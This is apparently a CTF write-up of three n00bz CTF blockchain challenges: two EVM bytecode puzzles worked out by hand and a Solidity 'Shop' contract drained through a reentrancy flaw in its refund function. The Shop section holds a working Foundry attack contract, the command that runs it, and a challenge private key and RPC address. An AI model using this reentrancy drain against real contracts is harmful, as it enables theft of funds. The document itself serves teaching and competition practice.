Hello Friend,

This time I got few new like minded friends from konohagakure team. I played n00bz CTF with them. we got 15th place in this CTF. I am focused on my fav blockchain challenges and solved all of them. I hope you like this writeup.

EVM - The Basics

Descripton

I have some EVM runtime bytecode, whatever that means. You need to find the value, in hex, that you need to send to make the contract STOP and not self destruct. Wrap the hex in n00bz{}. If the correct answer is 9999, the flag is n00bz{0x270f}.

Attachments

  • evm.txt

5f346113370265fdc29ff358a314601257ff00

00	5f			PUSH0			// [0x00]
01	34			CALLVALUE		// [callvalue, 0x00]
02	611337			PUSH2  1337		// [0x1337, callvalue, 0x00]
05	02			MUL			// [0x1337 * callvalue, 0x00]
06	65fdc29ff358a3		PUSH6  fdc29ff358a3	// [0xfdc29ff358a3, 0x1337 * callvalue , 0x00]
0d	14			EQ			// [0xfdc29ff358a3 == (0x1337 * callvalue), 0x00]
0e	6012			PUSH1  12		// [0x12, 0xfdc29ff358a3 == (0x1337 * callvalue), 0x00]
10	57			JUMPI			// jump to 0x12 if 0xfdc29ff358a3 == (0x1337 * callvalue)
11	ff			SELFDESTRUCT		// selfdestruct
12	00			STOP			// hault the execution

To prevent the contract from self-destructing, the CALLVALUE must satisfy the equation 0xfdc29ff358a3 == CALLVALUE * 0x1337.

0xfdc29ff358a3 == CALLVALUE * 0x1337
CALLVALUE = 0xfdc29ff358a3 / 0x1337
CALLVALUE = 0xd34db33f5

Flag: n00bz{0xd34db33f5}


EVM - Conditions

Description

So much maths… You need to find the value, in hex, that you need to send to make the contract STOP and not self destruct. Wrap the hex in n00bz{}. If the correct answer is 9999, the flag is n00bz{0x270f}.

Attachments

  • evm.txt

5f600f607002610258525f60056096046090525f600760090A61FFFA526105396126aa18620bfabf52600361fffa5102620bfabf51013461025851600402016090510114604857ff00

00	5f		PUSH0	
01	600f		PUSH1  0f
03	6070		PUSH1  70
05	02		MUL	
06	610258		PUSH2  0258
09	52		MSTORE	
0a	5f		PUSH0
0b	6005		PUSH1  05
0d	6096		PUSH1  96
0f	04		DIV	
10	6090		PUSH1  90
12	52		MSTORE
13	5f		PUSH0	
14	6007		PUSH1  07
16	6009		PUSH1  09
18	0a		EXP	
19	61FFA		PUSH2  FFFA
1c	52		MSTORE	
1d	610539		PUSH2  0539
20	6126aa		PUSH2  26aa
23	18		XOR	
24	620bfabf	PUSH3  0bfabf
28	52		MSTORE

above bytecode just storing some data into memory.

below are the offset with corresponding value in memory that are stored by above bytecode.

offset	values
0258	690
90	1e
FFFA	48fb79
0bfabf	2393
29	6003		PUSH1  03	// [0x03]
2b	61fffa		PUSH2  fffa	// [0xfffa, 0x03]
2e	51		MLOAD		// [0x48fb79, 0x03]
2f	02		MUL		// [0xdaf26b]
30	620bfabf	PUSH3  0bfabf	// [0xbfabf, 0xdaf26b]
34	51		MLOAD		// [0x2393, 0xdaf26b]
35	01		ADD		// [0xdb15fe]
36	34		CALLVALUE	// [callvalue, 0xdb15fe]
37	610258		PUSH2  0258	// [0x258, callvalue, 0xdb15fe]
3a	51		MLOAD		// [0x690, callvalue, 0xdb15fe]
3b	6004		PUSH1  04	// [0x04, 0x690, callvalue, 0xdb15fe]
3d	02		MUL		// [0x1a40, callvalue, 0xdb15fe]
3e	01		ADD		// [0x1a40 + callvalue, 0xdb15fe]
3f	6090		PUSH1  90	// [0x90, 0x1a40 + callvalue, 0xdb15fe]
41	51		MLOAD		// [0x1e, 0x1a40 + callvalue, 0xdb15fe]
42	01		ADD		// [0x1a5e + callvalue, 0xdb15fe]
43	14		EQ		// [0x1a5e + callvalue == 0xdb15fe]
44	6048		PUSH1  48	// [0x48, 0x1a5e + callvalue == 0xdb15fe]
46	57		JUMPI		// jump to 0x48 if 0x1a5e + callvalue == 0xdb15fe
47	ff		SELFDESTRUCT	// selfdestruct
48	00		STOP		// hault the execution

To prevent the contract from self-destructing, the CALLVALUE must satisfy the equation 0x1a5e + callvalue == 0xdb15fe.

0x1a5e + callvalue == 0xdb15fe
callvalue = 0xdb15fe - 0x1a5e
callvalue = 0xdafba0

Flag: n00bz{0xdafba0}


Shop

Description

Welcome to the Shop! Just buy the flag for 1337 ETH! Too bad you don’t have enough… Note: It is best to deploy your contract through web3 python module (I believe js should also work but have not tested it).

Attachments

  • Shop.sol
  • nc blockchain.n00bzUnit3d.xyz 39999

Shop.sol

pragma solidity ^0.6.0;
contract Shop {
    uint[4] cost = [5 ether,11 ether,23 ether,1337 ether];
   uint[4] bought = [0,0,0,0];
    function reset() public payable {
        bought[0] = 0;
        bought[1] = 0;
        bought[2] = 0;
        bought[3] = 0;
    }
    constructor() public {
        reset();
    }

    function buy(uint item, uint quantity) public payable {
        require(0 <= item && item<= 3, "Item does not exist!");
        require(0 < quantity && quantity <= 10, "Cannot buy more than 10 at once!");
        require(msg.value == (cost[item] * quantity), "Payment error!");
        bought[item] = quantity;
    }

    function refund(uint item, uint quantity) public payable {
        require(0 <= item && item <= 3, "Item does not exist!");
        require(0 < quantity && quantity <= 10, "Cannot refund more than 10 at once!");
        require(bought[item] > 0, "You do not have that item!");
        require(bought[item] >= quantity, "Quantity is greater than amount!");
        msg.sender.call.value((cost[item] * quantity))("");
        bought[item] -= quantity;
    }

    function isChallSolved() public view returns (bool solved) {
        if (bought[3] > 0) {
            return true;
        }
        else {
            return false;
        }
    }

}
CONTRACT="0x293076C8f740e7Fb6C3ABA11867Cc748564c1F01"
RPC_URL="http://64.23.154.146:46309"
PRIVATE_KEY="0xd970c9d2b5b7c06fbe39ed2e2dec77718283ed22f91b995230cf7f8de7ced427"
INV1NC="0x85D3E024B566e277960df52d4dFD72682Fb8dC73" // wallet address

We are given with 9 ether.

Goal

The goal is to “buy” an item that costs 1337 ether, even though we don’t have that amount of money available.

Observation

We can simply look at refund() function, is interacting with msg.sender before effecting the bought[time] which is vulnerable to the popular reentrancy attack. To prevent reentrancy attack Checks-Effects-Interactions pattern should be implemented.

Attack

  1. buy item 0 with 5 ether
  2. refund item 0
  3. reenter into a refund function from fallback function
  4. buy item 3 with 1337 ether
  5. solved the challenge successfully

Attack.s.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IShop {
    function buy(uint256 item, uint256 quantity) external payable;
    function refund(uint256 item, uint256 quantity) external payable;
    function isChallSolved() external view returns (bool solved);
}

import {Script, console} from "forge-std/Script.sol";

contract AttackScript is Script {
    IShop shop = IShop(vm.envAddress("CONTRACT"));
    address inv1nc = address(vm.envAddress("INV1NC"));

    function run() external {
        vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
        Attack attack = new Attack{value: 8 ether}(address(shop));
        attack.exploit();
        attack.exploit();
        attack.getMoney();
        shop.buy{value: 1337 ether}(3, 1);
        assert(shop.isChallSolved());
    }
}

contract Attack {
    IShop shop;
    address owner;

    constructor(address shopAddr) public payable {
        shop = IShop(shopAddr);
        owner = msg.sender;
    }

    function exploit() public {
        shop.buy{value: 5 ether, gas: 3 ether}(0, 1);
        shop.refund(0, 1);
    }

    fallback() external payable {
        shop.refund(0, 1);
    }

    function getMoney() external {
        require(msg.sender == owner);
        payable(msg.sender).transfer(address(this).balance);
    }
}

idk why the exploit() function only giving me 110 ether then stop.

so, i removed base condition of checking shop contract balance and called exploit() twice and got 220 ether.

then i bought item 3 with 1337 ether.

source .env
forge script script/Attack.s.sol:AttackScript --rpc-url $RPC_URL --private-key $PRIVATE_KEY --broadcast

Flag: n00bz{5h0uld_h4v3_sub7r4ct3d_f1r5t}


Thank you for reading!